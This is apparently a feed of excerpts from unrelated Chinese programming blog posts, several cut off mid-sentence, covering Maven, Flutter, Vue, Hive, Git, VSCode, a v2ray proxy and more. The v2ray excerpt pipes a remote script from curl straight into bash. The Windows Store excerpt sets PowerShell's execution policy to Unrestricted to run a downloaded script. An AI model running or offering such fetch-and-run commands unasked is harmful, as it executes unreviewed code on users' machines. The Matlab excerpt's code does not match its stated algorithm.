maven推送本地jar包到nexus仓库遇到的问题

场景: 今天使用jenkins打包镜像时,发现其中一个jar包私服仓库没有,本地是有的,因此遇到如何从本地向nexus仓库推送的问题(之前没有推过现在遇到一些坑特此记录一下) 问题: 如何正确地从本地向nexus仓库推送jar包 目标: 将本地的 latform-rulesengine-client 的jar包推送到nexus上 <dependency> <groupId>com.gisquest.cloud</groupId> <artifactId>platform-rulesengine-client</artifactId> <version>1.0.7-YWDZ-SNAPSHOT</version> </dependency> 网上搜索了解决方案: mvn deploy:deploy-file -DgroupId=com.gisquest.cloud -DartifactId=platform-rulesengine-client -Dversion=1.0.7-YWDZ-SNAPSHOT -Dpackaging=jar -Dfile=C:\Users\Administrator\Desktop\tui\platform-rulesengine-client-1.0.7-YWDZ-SNAPSHOT.jar -Durl=http://192.168.11.70:8081/nexus/content/groups/public/ -DrepositoryId=nexus 注解: -DgroupId 、-DartifactId、-Dversion分别和该包的坐标依赖相对应 -Dpackaging:表示准备推到nexus上包的类型 -Dfile :表示要从本地推到nexus上包的绝对路径(重要) -Durl: 表示私服仓库的地址(重要) -DrepositoryId:表示私服仓库对应的唯一id 我本地pom.xml的配置如下(maven中setting.xml文件中私服的url都是一样的): <!-- 设定主仓库,按设定顺序进行查找。 --> <repositories> <repository> <id>nexus</id> <name>nexus</name> <url>http://192.168.11.70:8081/nexus/content/groups/public/</url> <releases> <enabled>true</enabled> </releases> <snapshots> <enabled>true</enabled> </snapshots> </repository> </repositories> 按理说执行上面推动命令应该就可以了,但是执行后发现报错了提示如下错误400 Bad Request 路径找不到: at org.codehaus.plexus.classworlds.launcher.Launcher.main (Launcher.java:347) Caused by: org.eclipse.aether.deployment.DeploymentException: Failed to deploy artifacts: Could not transfer artifact com.gisquest.cloud:platform-rulesengine-client:jar:1.0.7-YWDZ-20220928.030757-1 from/to nexus (http://192.

Flutter入门-环境搭建

概述 Flutter简介 Flutter中文网 Flutter是谷歌的移动UI框架,可以快速在iOS和Android上构建高质量的原生用户界面。 Flutter可以与现有的代码一起工作。在全世界,Flutter正在被越来越多的开发者和组织使用,并且Flutter是完全免费、开源的。 特点: 快速开发。毫秒级的热重载,修改后,您的应用界面会立即更新。使用丰富的、完全可定制的widget在几分钟内构建原生界面。Flutter的热重载可帮助您快速地进行测试、构建UI、添加功能并更快地修复错误。在iOS和Android模拟器或真机上可以在亚秒内重载,并且不会丢失状态。 富有表现力和灵活的UI。快速发布聚焦于原生体验的功能。分层的架构允许您完全自定义,从而实现难以置信的快速渲染和富有表现力、灵活的设计。使用Flutter内置美丽的Material Design和Cupertino(iOS风格)widget、丰富的motion API、平滑而自然的滑动效果和平台感知,为您的用户带来全新体验。 原生性能。Flutter包含了许多核心的widget,如滚动、导航、图标和字体等,这些都可以在iOS和Android上达到原生应用一样的性能。使用Flutter的现代、响应式框架,和一系列基础widget,轻松构建您的用户界面。使用功能强大且灵活的API(针对2D、动画、手势、效果等)解决艰难的UI挑战。通过平台相关的API、第三方SDK和原生代码让您的应用变得强大易用。 Flutter允许您复用现有的Java、Swift或ObjC代码,访问iOS和Android上的原生系统功能和系统SDK。 统一的应用开发体验。Flutter拥有丰富的工具和库,可以帮助您轻松地同时在iOS和Android系统中实现您的想法和创意。 如果您没有任何移动端开发体验,Flutter是一种轻松快捷的方式来构建漂亮的移动应用程序。 如果您是一位经验丰富的iOS或Android开发人员,则可以使用Flutter作为视图(View)层, 并可以使用已经用Java / ObjC / Swift完成的部分(Flutter支持混合开发)。 环境搭建 须知 1、Flutter开发环境支持 WindowsMacLinux 2、跨平台 Android,推荐使用真机作为开发设备,或者夜神模拟器,Android Studio的模拟器太卡,如果是Mac电脑,还可以使用Xcode模拟器,挺快的。iOS,开发阶段可以使用Android设备切换iOS运行效果,不是说非要有iOS设备。WIndowMacChrome Web小程序,不太建议,存在很多问题但是也有一些大厂解决方案,个人觉得还不如直接进行小程序开发。 3、开发工具选择 推荐使用VSCode作为主要开发工具,占用内存小,速度快。有时处理一些问题,可能还是需要使用Android Studio和Xcode作为辅助开发工具,分别调试android部分代码和iOS部分代码,比如百度地图集成。 4、参考资料 入门:在macos上搭建Flutter开发环境如何在没有 Mac 的情况下使用 Flutter 和 Codemagic 构建和分发 iOS 应用快让Flutter应用跑Mac上,能让Flutter应用运行在Mac OS和Windows上的平台 5、其它 Flutter使用Dart作为开发语言,需要提前学习Dart语言。 Mac搭建 搭建Flutter开发环境 参考: 入门: 在macOS上搭建Flutter开发环境 1、下载Flutter SDK 下载后解压到自己的工作目录下。 2、配置环境变量 # flutter export PUB_HOSTED_URL=https://pub.flutter-io.cn export FLUTTER_STORAGE_BASE_URL=https://storage.flutter-io.cn export PATH=$PATH:/Users/zhusheng/flutter/flutter3.3.0/bin 3、检查环境 正常情况下,缺少的就是Android Studio和Xcode,我们至少要安装一个,方便调试移动端代码。 4、安装VSCode 使用VSCode作为IDE,并安装一些插件,我的插件列表如下: 配置Xcode,我关于Dar的配置如下: { "[dart]": { "

Flutter入门-路由

路由 Flutter使用路由来定义页面之间的跳转,类似Vue。Flutter使用Navigator组件来管理路由导航。 方法: Navigator.push,跳转Navigator.pop, 返回上一级,如果是对话框,会关闭对话框。 普通路由 使用场景:在一些小型项目中推荐使用。 核心代码 跳转 Navigator.of(context).push(MaterialPageRoute( builder: (context) => const SearchPage(), )); //传值 Navigator.of(context).push(MaterialPageRoute( builder: (context) => FormPage(title: "我是传递过来的值"), )); 返回或关闭 Navigator.of(context).pop(); 演示案例 1、主页面 class HomePage extends StatefulWidget { const HomePage({super.key}); @override State<HomePage> createState() => _HomePageState(); } class _HomePageState extends State<HomePage> { @override Widget build(BuildContext context) { return Column( children: [ //按钮1,使用漂浮按钮,设置点击事件,点击的时候,push到另一个页面 ElevatedButton( onPressed: () { Navigator.of(context).push(MaterialPageRoute( builder: (context) => const SearchPage(), )); }, child: const Text('跳转到搜索页面')), //按钮2,跳转传值,通过构造函数传值。 ElevatedButton( onPressed: () { Navigator.

(vue)vue项目Error: Cannot find module ‘xxx’类报错的解决方法

(vue)vue项目Error: Cannot find module ‘xxx’类报错的解决方法 现发现只要是报错 Error: Cannot find module ‘xxx’(例如 Error: Cannot find module ‘webpack’)这类的问题都可以用下面的方法解决。 internal/modules/cjs/loader.js:583 [app-scripts] throw err; [app-scripts] ^ [app-scripts] [app-scripts] Error: Cannot find module 'balanced-match' [app-scripts] at Function.Module._resolveFilename (internal/modules/cjs/loader.js:581:15) [app-scripts] at Function.Module._load (internal/modules/cjs/loader.js:507:25) [app-scripts] at Module.require (internal/modules/cjs/loader.js:637:17) [app-scripts] at require (internal/modules/cjs/helpers.js:20:18) [app-scripts] at Object. (/home/manoj/Downloads/phonelogin/node_modules/brace-expansion/index.js:2:16) [app-scripts] at Module._compile (internal/modules/cjs/loader.js:689:30) [app-scripts] at Object.Module._extensions..js (internal/modules/cjs/loader.js:700:10) [app-scripts] at Module.load (internal/modules/cjs/loader.js:599:32) [app-scripts] at tryModuleLoad (internal/modules/cjs/loader.js:538:12) [app-scripts] at Function.Module._load (internal/modules/cjs/loader.js:530:3) 解决问题的方式是:

HiveServer2 简单用户/密码身份验证

前言 Hive 通过HiveServer2对外提供服务,HiveServer2 是一种能使客户端执行 Hive 查询的服务。HiveServer2 是 HiveServer1 的改进版,HiveServer1 已经被废弃。HiveServer2 对 HiveServer 进行了重写来解决上述问题。 HiveServer2 作为复合服在单个进程中运行,其中包括基于 Thrift 的 Hive 服务(TCP或HTTP)以及用于 Web UI的 Jetty Web 服务。HiveServer2 可以支持多客户端并发和身份认证。旨在为开放API客户端(如JDBC和ODBC)提供更好的支持。 架构 HiveServer2 实现了一个新的基于 Thrift 的 RPC 接口,该接口可以处理客户端并发请求。当前版本支持 Kerberos,LDAP 以及自定义可插拔身份验证。新的 RPC 接口也是 JDBC 和 ODBC 客户端更好的选择,尤其是对于元数据访问。 hive身份认证的三种方式 NONE:即不做身份校验; LDAP: 使用基于 LDAP/AD 的用户身份校验; KERBEROS: 使用 Kerberos/GSSAPI 做身份校验; CUSTOM:自定义认证 针对当前简单应用场景,采用CUSTOM就可满足 配置CUSTOM身份认证流程 1.首先需要编写用户权限验证的类 import org.apache.hadoop.conf.Configurable; import org.apache.hadoop.hive.conf.HiveConf; import org.apache.hive.service.auth.PasswdAuthenticationProvider; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.apache.hadoop.conf.Configuration; import javax.security.sasl.AuthenticationException; /** * @author liguiping * @version 1.

transformers本地加载roberta模型pytorch

本地加载roberta-base模型文件,roberta-large同理, 只不过hidden_size从768变为1024, 在该网站下载模型文件: roberta-base at main (huggingface.co) 所需的有 config.json, merges.txt, pytorch_model.bin(下载后重命名), vocab.json 路径组织结构: └─model │ merges.txt │ vocab.json │ └─roberta-base config.json pytorch_model.bin 此处transformers版本是2.11.0, 不同版本的transformers里import的用法可能不同,所以强调了版本, 可针对自己的版本去看官方文档 from transformers import RobertaTokenizer vocab_file = 'model/vocab.json' merges_file = 'model/merges.txt' tokenizer = RobertaTokenizer(vocab_file, merges_file) RobertaTokenizer 和 BertTokenizer 处理数据时不一样, Roberta模型没有token_type_ids,也就是segment_ids 还有 Bert 的数据格式是 pair of sequences: [CLS] A [SEP] B [SEP] Roberta 的则是 pair of sequences: <s> A </s></s> B </s> 参见:RobertaTokenizer中的build_inputs_with_special_tokens 与 BertTokenizer中的build_inputs_with_special_tokens from transformers.

Flutter入门-组件学习

基础组件 TextButton ElevatedButton,漂浮按钮,默认有背景颜色、阴影效果,按下后阴影会变大。TextButton,文本按钮,就是可点击的文本。默认背景透明、不带阴影,按下后会有背景色。OutlineButton,边框按钮,默认有一个边框、背景透明、不带阴影,按下后边框颜色会变亮、出现背景(弱)、阴影(弱)。IconButton,图标按钮,没有文字,默认没有背景,点击会出现背景。FloatingActionButton,悬浮按钮自定义Button,所有的按钮都是直接或间接对RawMaterialButton组件的包装定制。说明:ElevatedButton、TextButton、OutlineButton都可以添加icon。 ImageDialogDate表单组件 TextFieldCheckbox、CheckboxListTileRadio、RadioListTileSwitch Text 查看源代码 示例1 const Text("hello world") 示例2 const Text( "hello world", maxLines: 3, textAlign: TextAlign.center, style: TextStyle(color: Colors.black), ), Button 查看源代码 示例1 ElevatedButton( onPressed: () {}, style: ButtonStyle( //背景颜色 backgroundColor: MaterialStateProperty.all(Colors.red), //字体颜色 foregroundColor: MaterialStateProperty.all(Colors.white), //阴影颜色 shadowColor: MaterialStateProperty.all(Colors.blue), //阴影大小 elevation: MaterialStateProperty.all(20.0), //按钮圆角 shape: MaterialStateProperty.all( RoundedRectangleBorder(borderRadius: BorderRadius.circular(10)), )), child: const Text("按钮"), ), 示例2 TextButton( onPressed: () {}, child: const Text("按钮"), ), 示例3 OutlinedButton( onPressed: () {}, style: ButtonStyle( //字体颜色 foregroundColor: MaterialStateProperty.

为自己的服务器搭建代理

在自己服务器上执行下列命令,可以执行搭建过程 bash <(curl -s -L https://git.io/v2ray.sh) 但由于网络原因,一些服务器访问不到上面的链接,所以 解决方法: 在本地下载v2ray.sh,xftp到服务器上 执行bash v2ray.sh 后续步骤: 安装 -> TCP -> 端口号 -> N 客户端 这里填入的ip不同是因为用的局域网内的机子,并非真实的服务器

ApacheJames3.7.1+mysql 配置安装

1、下载地址:Index of /dist/james/server/3.7.1https://archive.apache.org/dist/james/server/3.7.1/ (1)下载并解压: wget ​​​​​​https://archive.apache.org/dist/james/server/3.7.1/james-server-app-3.7.1-app.zip uzip james-server-app-3.7.1-app.zip (2)添加邮箱后缀[注意:如果是在本地模拟则需在hosts中做域名映射,否则会出现意想不到的问题] vim ../conf/domainlist.xml 2.1 autodetect、autodetectIP 值为false,不自动获取domain与IP,而使用下面设置的指定邮箱后缀 2.2 defaultDomain 值为你的邮箱后缀。如需处理多个邮箱后缀的邮件,则需加一个 <domainnames>节点,并将其他邮箱后缀添加到子节点domainname中即可: <defaultDomain>develop.com </defaultDomain> <domainnames> <domainname>develop1.com </domainname> <domainname>develop2.com </domainname> </domainnames> (3)进入bin目录并启动服务 cd james-server-app-3.1.0/bin/ sh run.sh (4)项目启动一会后,出现下面内容即为启动成功: INFO xx:xx:xx,xxx | org.apache.james.app.spring.JamesAppSpringMain | Apache James Server is successfully started in xxxxxx milliseconds. 备注: nested exception is java.net.UnknownHostException: xxx:xxx:将 xxx 添加映射到 /etc/hosts 后重启即可. 2、mysql数据库配置: 1、docker启动一个mysql实例,我用的是5.7 docker run --name myjames -d -p 3306:3306 -e MYSQL_ROOT_PASSWORD=data@1234 mysql:5.7 2、mysql驱动放到lib目录下:/james-server-spring-app-3.7.1/lib 下

vue实战-面包屑的处理

vue实战-面包屑的处理 1.面包屑处理分类操作 在Search路由模块下 通过v-if来确定面包屑的存在,设置点击事件处理删除面包屑后的情况 <ul class="fl sui-tag"> <li class="with-x" v-if="searchParams.categoryName">{{searchParams.categoryName}}<i @click="removeCategoryName">×</i></li> </ul> 点击事件方法 removeCategoryName(){ //点击x的时候将searchParams中的categoryName的值清空, //由于name清空了,可是它的id还在,所以也需要将它的id给清空 //为了给仓库减负,就是不输出空的暂时用不上的属性值,不将这些值变为空字符而是undefined, //这样就不会返回数据到仓库中了。 this.searchParams.categoryName = undefined this.searchParams.category1Id = undefined this.searchParams.category2Id = undefined this.searchParams.category3Id = undefined //并且重新派发告诉服务器数据变化 this.getData() //更新数据后,路由跳转也需要更改 //这里指右边三级联动的query需要删除,而如果存在parama参数需要保留 if(this.$route.params){ this.$router.push({name:'search',params:this.$route.params}) } } 2.面包屑中的关键字处理 组件通信: 1.props:父子 2.自定义事件:子父 3.vuex:仓库数据,万能 4.插槽:父子 5.pubsub-js:万能 6.$bus:全局事件总线 同样在Search路由模块下 通过v-if来确定面包屑的存在,设置点击事件处理删除面包屑后的情况 <!-- 搜索关键字面包屑 --> <li class="with-x" v-if="searchParams.keyword">{{searchParams.keyword}}<i @click="removeKeyword">×</i></li> 点击事件的方法 removeKeyword(){ //与处理分类操作相同 this.searchParams.keyword = undefined this.getData() //但是这样是Search组件中的keyword为undefined了,可是Header组件中的keyword还是存在 //所以需要将Header中的keyword的值也清空。 //Search与Header组件之间是兄弟组件,使用全局事件总线$bus来传递。 //去$bus中获取触发Header组件绑定的事件 this.$bus.$emit('clear') //同样的,由于点击删除面包屑路由跳转要恢复,要考虑到三级分类的query参数存在时 //应该保留 if(this.

【路径规划-机器人栅格地图】基于哈里斯鹰算法求解栅格地图路径规划及避障含Matlab源码

✅作者简介:热爱科研的Matlab仿真开发者,修心和技术同步精进,matlab项目合作可私信。 🍎个人主页:Matlab科研工作室 🍊个人信条:格物致知。 更多Matlab仿真内容点击👇 智能优化算法 神经网络预测 雷达通信 无线传感器 信号处理 图像处理 路径规划 元胞自动机 无人机 ⛄ 内容介绍 静态环境中的移动机器人全局路径规划是路径规划中的一个重要问题,本文采用哈里斯鹰解决移动机器人的路径规划.该方法首先采用栅格法环境建模,采用哈里斯鹰算法规划机器人路径,最后用MAT-LAB来实现算法,仿真后,观察路径,得出最终结果. ⛄ 部分代码 function [BestFitness, gbest, zz] = GWO(N, maxgen, X, fitness, lb, ub, dim, fobj) %% [bestfitness, bestindex] = sort(fitness); gbest = X(bestindex(1), :); % 群体最优极值 fitnessgbest = bestfitness(1); % 种群最优适应度值 % 初始化alpha, beta和delta_pos Alpha_pos = gbest; Alpha_score = fitnessgbest; Beta_pos = X(bestindex(2), :); Beta_score = bestfitness(2); Delta_pos = X(bestindex(3), :); Delta_score = bestfitness(3); %% 初始结果显示

超级安全!Python 合成多张图片到PDF格式

在日常生活中,经常会遇到需要提交身份证正反面证明资料的情况,而且这些网站大部分只接受pdf格式,这时候我们就需要把身份证正反面两张图片合成为一个pdf文件。 在macOS系统下,预览软件可以轻松做到这一点,同时打开图片到一个预览窗口下,点击导出PDF就能成功导出。但是Windows系统就没有这么方便的软件可以实现这一点,网上有很多合成PDF的网站,但是这些网站无一例外需要上传PDF进行合成,个人认为非常地不安全。 因此,最安全的方法,还是我们自己写一个Python脚本实现合成功能。 1.准备 开始之前,你要确保Python和pip已经成功安装在电脑上,如果没有,可以访问这篇文章:超详细Python安装指南 进行安装。 (可选1) 如果你用Python的目的是数据分析,可以直接安装Anaconda:Python数据分析与挖掘好帮手—Anaconda,它内置了Python和pip. (可选2) 此外,推荐大家用VSCode编辑器,它有许多的优点:Python 编程的最好搭档—VSCode 详细指南。 请选择以下任一种方式输入命令安装依赖: 1. Windows 环境 打开 Cmd (开始-运行-CMD)。 2. MacOS 环境 打开 Terminal (command+空格输入Terminal)。 3. 如果你用的是 VSCode编辑器 或 Pycharm,可以直接使用界面下方的Terminal. pip install pillow 2.合成原理 Pillow模块,即PIL:Python Imaging Library,已经是Python平台事实上的图像处理标准库了。PIL功能非常强大,但API却非常简单易用。通过它,我们能很轻松地操作图像,并导出为不同格式。 首先来一个简单的示例,我们将打开一张图片,并将其保存为pdf格式: from PIL import Image import os def convert_img_pdf(filepath, output_path): """ 转换图片为pdf格式 Args: filepath (str): 文件路径 output_path (str): 输出路径 """ output = Image.open(filepath) output.save(output_path, "pdf", save_all=True) if __name__ == "__main__": convert_img_pdf("1.jpeg", "./test.pdf") 随便使用一张图片测试一下:

一文了解异步编程基础

什么是异步编程? 异步编程是指并发编程的范式,其中除了单个主应用程序线程之外,工作可以委托给一个或多个并行工作线程。这被称为非阻塞系统,其中整体系统速度不受订单执行的影响,并且多个进程可以同时发生。 函数从 API 获取数据需要时间。设计异步编程是为了适应调用函数到返回该函数的值之间的延迟。让我们通过一个例子来理解这一点 - 如果您要创建一个天气应用程序,您可能希望从一个外部 API 获取城市的温度,并从另一个 API 获取风速或降雨可能性。在同步设置中,这将以顺序方式发生,其中第二个 API 请求仅在第一个 API 请求成功完成时发出。随着请求数量的增加,这种延迟会不断增加,从而导致糟糕的用户体验。异步代码允许您以非阻塞方式实现上述内容,以便可以在等待第一个请求完成之前启动第二个请求。 Python 在 Python 3.5 中使用 async/await 语法引入了对异步代码的支持。需要明确的是,Python 采用了单线程、单进程的设计,只给人一种并行的印象,可以称为“协同多任务”。 异步编程允许用户在应用程序中进行他的业务,而进程在后台运行,从而增强了用户体验。 异步编程的工作原理 了解异步编程如何工作的最简单方法是将其与同步编程进行比较。现在来看一个同步编程的例子。 同步编程 同步编程遵循着严格的顺序。当代码在同步程序中运行时,它将遵循算法的每一步。它按顺序执行此操作,并将等待当前操作完成,然后再继续下一个操作。 同步编程遵循“做蛋糕”算法: 计算原料重量混合面粉、鸡蛋和糖加热烤箱并烘烤吃蛋糕 每一步都必须按顺序进行。在烘烤混合物之前,必须测量原料,必须混合混合物。而且,要尝起来像蛋糕,应该在吃之前先烤好。因为只有一个人在做所有的工作,所以在开始下一个任务之前,您必须完全完成一项任务。同步编程具有单轨思想。它一步一步地遵循指南。 # -*- coding: utf-8 -*- """ 同步编程:做蛋糕 """ import threading import time from threading import RLock def Measure(): print("Measure the ingredients.") def Mix(): print("Mix flour, eggs, and sugar.") def Bake(): print("Bake Cake") def Eat(): print("Eat your cake") def main(): measure = threading.

从私有Git仓库的搭建到命令的使用再到分支管理,全流程全套服务包您满意

您好,我是码农飞哥,感谢您阅读本文,欢迎一键三连哦。 💪🏻 1. Python基础专栏,基础知识一网打尽,9.9元买不了吃亏,买不了上当。 Python从入门到精通 ❤️ 2. Python爬虫专栏,系统性的学习爬虫的知识点。9.9元买不了吃亏,买不了上当,持续更新中 。python爬虫入门进阶 ❤️ 3. Ceph实战,从原理到实战应有尽有。 Ceph实战 ❤️ 4. Java高并发编程入门,打卡学习Java高并发。 Java高并发编程入门 😁 5. 社区逛一逛,周周有福利,周周有惊喜。码农飞哥社区,飞跃计划 全网同名【码农飞哥】欢迎关注,个人VX: wei158556 文章目录 1. Git是什么?2. Git与SVN的比较3. 系统环境4. 安装Git客户端Linux系统下 Windows系统下5.本地版本库操作创建本地版本库工作区和暂存区管理修改删除文件 5.Ubuntu搭建私有的git仓库GitLab的使用添加用户添加团队新建远程仓库 SSH key的配置(生成公钥和私钥) 6. 分支管理创建与合并分支1. 创建dev分支2. 查看所有分支3. 分支合并 解决冲突比较差异分支管理策略Bug分支保存工作现场查看工作现场恢复工作现场删除工作现场恢复并删除工作现场合并某一次的提交 feature分支远程仓库(多人协作)本地仓库关联远程仓库第一次先拉取远程库中的README.md和.gitignore等文件克隆远程仓库删除远程Git仓库查看远程分支推送分支创建远程分支拉取分支关联本地分支和远程分支拉取远程分支并创建本地分支删除远程分支查看分支版本回退将多次提交合并成一次提交分支重命名 7. 标签管理回滚某次提交 总结 1. Git是什么? Git是一款开源的分布式版本控制系统,可以有效,高速处理从很小到非常大的项目版本管理。 Git是通过C语言开发实现的。 2. Git与SVN的比较 Git和SVN是两种截然不同的版本控制系统,Git是分布式版本控制系统,而SVN则是集中式版本控制系统。要想比较Git和SVN的区别,首先需要了解分布式版本控制系统和集中式版本控制系统的基本概念。 集中式版本控制系统:一个显著的特征是版本库是存放在中央服务器上的,由中央服务器统一管理项目的版本信息和分支信息。团队中的每个成员在工作时都需要先从中央服务器上拉取最新的代码,然后开始干活。干完活之后再将代码提交到中央服务器上。集中式版本服务器有两个弊端: 必须联网才能工作,当没有网络或者网络很差时,则团队中的成员无法协同工作。安全性不好,因为版本库存放在了中央服务器,当中央服务器损坏时则会丢失版本库,使所有成员都没法工作。 集中式版本控制系统的网络拓扑图如下图所示: 可以看出团队中所有成员的工作电脑都只与中央服务器打交道。如果把版本库比做书库的话,那么每个人(每个电脑)都需要先从书库借到书(拉取最新的代码),阅读完之后然后还给书库(修改之后提交到中央服务器) 分布式版本控制系统: 与集中式版本控制系统最大的不同是团队中所有成员的工作电脑上都有一个完整的版本库,并且没有中央服务器。,这就相当于团队中每个成员都有一个自己的小书库(版本库),成员之间可以互相交换自己书库中的图书(将自己的修改提交给对方)。这里完全不需要中央服务器来管理协调管理。 在实际使用分布式版本控制系统时,其实很少在两人之间的电脑上进行版本库推送,这是因为有时候你们不在同一个局域网内,或者你同事的电脑关机了。因此,分布式版本控制系统通常也有一台充当“中央服务器”的电脑,但这个服务器的作用仅仅是用来方便“交换”大家的修改,没有它大家也一样干活,只是交换修改不方便而已。这台充当“中央服务器”的电脑上的版本库称之为远程版本库,其他成员电脑上的版本库称之为本地版本库。后面会详细介绍。 分布式版本控制系统的网络拓扑图如下图所示: 分布式版本控制系统剔除了中央服务器,这充分体现了分布式的核心概念,就是去中心化。这样带来的好处有两点: 没有网络也能上班:团队中的每个成员在没有网络的情况下也能工作,因为本地有完整的版本库,不需要担心数据的丢失。数据更安全:当某个成员的电脑坏掉了不要紧,只需要从其他成员的电脑上复制一份即可。但是集中式版本控制系统的中央服务器出问题,则可能会丢失版本库,使得所有人都没法工作。 3. 系统环境 系统版本WindowsWindows10LinuxUbuntu16.04 4. 安装Git客户端 说完了Git的基本概念,接下来还是安装个Git客户端下来耍一耍。这里分不同的操作系统简单的介绍一下Git客户端的安装。 Linux系统下 首先通过git --version 命令查看电脑上是否已经安装了Git客户端。

win10应用商店怎么重新安装?

应用商店是用户经常下载应用的地方,类似于手机上自带的应用商城,有时候可能会不小心把系统上的应用商店删除掉,这要如何恢复呢?下面小编就带来win10应用商店的重装方法,有需要的用户可以尝试操作。 1、下载 Reinstall-preinstalledApps.zip 文件,并解压到你能找到的目录下,比如 C:\Users\Administrator\Downloads 2、我们点击win10桌面下的任务栏,找到其中的搜索框,输入“powershell”然后点击最佳匹配项,右键以管理员身份运行Windows Powershell组件。注意不是CMD,并输入: Set-ExecutionPolicy Unrestricted 按Y确定,更改脚本执行策略。 3、继续输入: C:\Users\Administrator\Downloads\reinstall-preinstalledApps.ps1 *Microsoft.WindowsStore* 4、待安装完成之后,WIN+R 打开 WSReset.exe 重置应用商店。 5、还原执行策略: Set-ExecutionPolicy AllSigned 更多内容请关注系统部落。

VSCode安装配置使用教程(最新版超详细保姆级含插件)一文就够了

前言 Visual Studio Code 是一个轻量级功能强大的源代码编辑器,支持语法高亮、代码自动补全(又称 IntelliSense)、代码重构、查看定义功能,并且内置了命令行工具和 Git 版本控制系统。适用于 Windows、macOS 和 Linux。它内置了对 JavaScript、TypeScript 和 Node.js 的支持,并为其他语言和运行时(如 C++、C#、Java、Python、PHP、Go、.NET)提供了丰富的扩展生态系统。为了不影响读者的沉浸式阅读学习,如需使用目录请在左侧使用即可。 VSCode的下载 通过前言我们已经大致了解到了VSCode的强大之处,现在开始步入正题。 进入VSCode官方的下载页,根据系统需求选择相对应的下载地址。 官方下载页面--->:VSCode官方下载页面链接,选择自己系统对应的下载链接。 对于Windows下载标绿文本的解释 文本文本解释 User Installer 默认安装在当前计算机帐户目录,如果使用另一个帐号登陆计算机将无法使用别人安装的vscode。vscode默认提供的为User InstallerSystem Installer安装在非用户目录,例如C盘根目录,任何帐户都可以使用。 关于具体下载哪个版本我进行了大量的调研,发现网络上大部分的教程都是选择的VSCode默认提供的User Installer版本。但是对于我们实际和真正的开发,以及我们对于系统文件的管理难易度上来讲我更推荐System Installer版本,它可以自定义安装路径,使其我们后期对于它的管理十分方便。 VSCode的安装 此处我选择了System Installer版本,原因无它,因为它可以自定义安装路径,使其我们后期对于它的管理十分方便,我也十分建议你选择此版本安装。 同意协议 选择同意协议,点击下一步 选择安装位置 选择安装位置,单击浏览按需选择自己要设置的安装路径位置。然后点击下一步即可 注意:为了后期的稳定性,切勿使用中文路径。 选择开始菜单文件夹 如需修改,请点击浏览进行设置,无需修改直接单击下一步即可 选择附加任务 按需选择自己需要的附加任务,这里我推荐将其他中的所有选项都勾选上,对于创建桌面方式则按需选择是否勾选,我这里因为不需要所以就不勾选了。 设置完毕最后单击下一步 注意:添加到PATH一定要勾选,很重要。 准备安装 确认自己前面设置的是否有误,无误则点击安装即可 安装完成 如果你看到如下界面,那么恭喜你,你的VSCode安装完成。 VSCode基础配置 VSCode界面简介 VS Code 采用通用的用户界面和左侧的资源管理器布局,显示您可以访问的所有文件和文件夹,右侧的编辑器显示您打开的文件的内容。 关于对上图界面的区域解释: 区块颜色区块名称区块作用红色活动栏位于最左侧,可让您在视图之间切换,并为您提供额外的特定于上下文的指标,例如启用 Git 时传出更改的数量。绿色侧栏包含不同的视图,例如资源管理器,可在您处理项目时为您提供帮助。粉色 状态栏有关已打开项目和您编辑的文件的信息。紫色面板您可以在编辑器区域下方显示不同的面板,用于输出或调试信息、错误和警告或集成终端。面板也可以向右移动以获得更多垂直空间。白色 编辑区编辑文件的主要区域。您可以垂直和水平并排打开任意数量的编辑器。黄色 菜单栏进行VSCode的各项操作 VSCode设置中文界面 因为我们此时安装的VSCode还是英文界面,对于英语不是那么好的小伙伴不是十分友好,所以我们此时需要安装一个插件来对VSCode进行中文化处理。 活动栏简单介绍作用 编辑器打开的文件 全局搜索 Git管理 Debug 插件安装 用户登录 VSCode设置 经过如上对VSCode界面基本的了解,我们在活动栏区域找到插件安装这个选项,单击它,在搜索框中搜索Chinese 选择第一个即可,选择Install进行安装。

python学习笔记--抓取静态网页数据以及分析数据

抓取静态网页是最基础的爬虫技术,其实也就是获取网页的源代码,原理就是通过模仿用户通过浏览器访问网页的过程,想web服务器发出请求、服务器接收到请求并做出响应,最后返回源代码的过程。 这其中主要用到了Requests库,以百度为例:接收百度服务器返回的响应信息 import requests url = 'https://www.baidu.com/' headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0' } response = requests.get(url,headers=headers) response.encoding = 'utf-8' print(response.status_code) 这其中,url也就是网址,headers是请求头,请求头是防止某些服务器防止网络爬虫恶意抓取网页信息的防爬虫措施;response是根据url构造请求,发送GET请求,接收服务器返回的响应信息。 试一下爬百度的logo import requests baidu_logo_url = 'https://www.baidu.com/img/PCtm_d9c8750bed0b3c7d089fa7d55720d6cf.png' response = requests.get(baidu_logo_url) with open ('baidu_logo.png','wb') as file: file.write(response.content)#获取图片的二进制数据 爬csdn的logo import requests csdn_logo_url = 'https://img-home.csdnimg.cn/images/20201124032511.png' response = requests.get(csdn_logo_url) with open ('csdn_logo.png','wb') as file: file.write(response.content) 尝试爬取网页 import requests def load_page(url): ''' 根据url发送请求,获取服务器返回的响应 :param url: 待抓取的url :return: ''' headers = {"

Visual Studio 2022安装教程(千字图文详解),手把手带你安装运行VS2022以及背景图设置

VS2022最新最全安装教程 很高兴你打开了这篇博客,接下来我们一起安装并且使用VS2022吧 文章目录 VS2022最新最全安装教程一.官网下载二.安装启动三.项目测试1.创建新项目2.选择我们使用的模板(C++空项目),继续冲!3.进入下图界面,取项目名称以及存放位置,然后项目就成功创建啦 四.美化编译器1.简单的调整主题(字体and颜色)2.调整背景图 总结 一.官网下载 戳这里—>[VS2022下载地址官网下载地址](https://visualstudio.microsoft.com/zh-hans/downloads/),进入之后选择社区版(community,此版本是对个人免费开放的,基础学习使用社区版就可以满足我们的需求) 然后打开 二.安装启动 等待下载安装一段时间后,进入这里配置我们的VS2022,一般我们都是先学习c语言。所以勾选使用c++的桌面开发就足够使用(建议大家在其他工具里找到VS的扩展开发部分,也选中) 对于c盘相信大家都充满了恐惧,我们就把VS2022放到其他盘吧,都完成之后就可以安装啦(因为博主已经安装,所以显示可能略有不同,大家不必在意) 语言包选择的话,一般VS2022默认语言都是中文,我们就不多说了,直接下一步。 到这里我们就完美安装了VS2022,接下来完美来看看他是怎么使用的吧,一起冲! 三.项目测试 1.创建新项目 2.选择我们使用的模板(C++空项目),继续冲! 3.进入下图界面,取项目名称以及存放位置,然后项目就成功创建啦 到了重头戏啦,看图,满满的干货 接下来又是修改名称,位置的操作啦,添加成功我们看到一个源文件创建好了,让我们面向编程,试试hello,wrold看看会有什么反应,代码如下: #include<stdio.h> int main() { printf("hello,wrold\n"); return 0; } 